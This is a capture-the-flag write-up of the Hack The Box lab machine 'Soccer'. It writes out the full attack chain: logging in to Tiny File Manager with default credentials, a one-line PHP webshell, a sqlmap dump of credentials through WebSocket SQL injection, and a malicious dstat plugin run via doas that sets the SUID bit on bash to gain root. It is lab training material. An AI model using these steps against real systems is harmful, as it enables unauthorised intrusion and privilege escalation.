Recon
Three ports, one of which (9091) didn't immediately identify itself. The web server redirected to soccer.htb — added to hosts first.
$ nmap -sC -sV -oN nmap/initial 10.129.1.9 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://soccer.htb/ 9091/tcp open xmltcpd?
$ echo "10.129.1.9 soccer.htb" >> /etc/hosts
Enumeration
Subdomain Discovery
Before diving into the main site I ran a vhost scan to check for subdomains.
$ gobuster vhost -u http://soccer.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain Found: soc-player.soccer.htb (Status: 200) [Size: 3507]
$ echo "10.129.1.9 soc-player.soccer.htb" >> /etc/hosts
soc-player.soccer.htb is a login/register portal with a ticket verification feature. After registering and logging in, I noticed the ticket checker communicates over WebSocket on port 9091 — the mystery port from nmap.
Tiny File Manager
Directory scan on the main domain found /tiny/ — Tiny File Manager, an open-source PHP web-based file manager.
$ gobuster dir -u http://soccer.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt /tiny (Status: 301)
Tiny File Manager default credentials are admin / admin@123. They worked without any modification.
Foothold
From Tiny File Manager I navigated to /tiny/uploads/ which is web-accessible and writable. I uploaded a PHP webshell.
# create webshell $ echo '<?php system($_GET["cmd"]); ?>' > shell.php # upload via Tiny File Manager GUI to /tiny/uploads/ $ curl "http://soccer.htb/tiny/uploads/shell.php?cmd=id" uid=33(www-data) gid=33(www-data) groups=33(www-data)
Upgraded to a proper reverse shell. Shell as www-data.
Privilege Escalation
Part 1 — WebSocket Blind SQLi → Credentials
The ticket checker at soc-player.soccer.htb sends ticket IDs over WebSocket to a backend that queries MySQL. I tested the ticket ID field for injection using sqlmap's WebSocket support.
id field passed directly to a MySQL query. Blind time-based SQLi confirmed on the id parameter.
$ sqlmap -u "ws://soc-player.soccer.htb:9091" \ --data '{"id":"1"}' \ --dbms mysql \ -D soccer_db -T accounts --dump \ --batch Database: soccer_db Table: accounts [1 entry] +------+-------------------+----------------------+ | id | email | password | +------+-------------------+----------------------+ | 1324 | player@player.htb | PlayerOftheMatch2022 | +------+-------------------+----------------------+
$ ssh player@soccer.htb player@soccer:~$ id uid=1001(player) gid=1001(player) groups=1001(player)
Part 2 — dstat Plugin Execution
Checked doas configuration (the OpenBSD-derived sudo alternative used here):
player@soccer:~$ cat /usr/local/etc/doas.conf permit nopass player as root cmd /usr/bin/dstat
dstat loads plugins from /usr/local/share/dstat/. If that directory is writable, any Python file placed there becomes a loadable dstat plugin — executed as root via doas.
player@soccer:~$ ls -la /usr/local/share/dstat/ drwxrwxr-x 2 root player 4096 Dec 13 2022 .
Writable by the player group. I created a malicious plugin:
player@soccer:~$ cat > /usr/local/share/dstat/dstat_exploit.py << 'EOF' import os os.system('chmod u+s /bin/bash') EOF player@soccer:~$ doas /usr/bin/dstat --exploit player@soccer:~$ /bin/bash -p bash-5.1# id uid=1001(player) gid=1001(player) euid=0(root) egid=0(root)
Flags
Lessons Learned
- Default credentials (admin/admin@123 on Tiny File Manager) are still everywhere — always try documented defaults on any admin panel before attempting anything else.
- WebSocket endpoints require the same injection testing as HTTP endpoints — sqlmap supports
ws://protocol and the injection surface is identical. - doas is the OpenBSD-style sudo — check
/usr/local/etc/doas.confin addition to/etc/sudoerswhen enumerating privesc paths. - Writable plugin/extension directories for tools allowed via sudo/doas are instant code execution — any interpreter that loads files from a user-writable directory is dangerous when combined with elevated execution.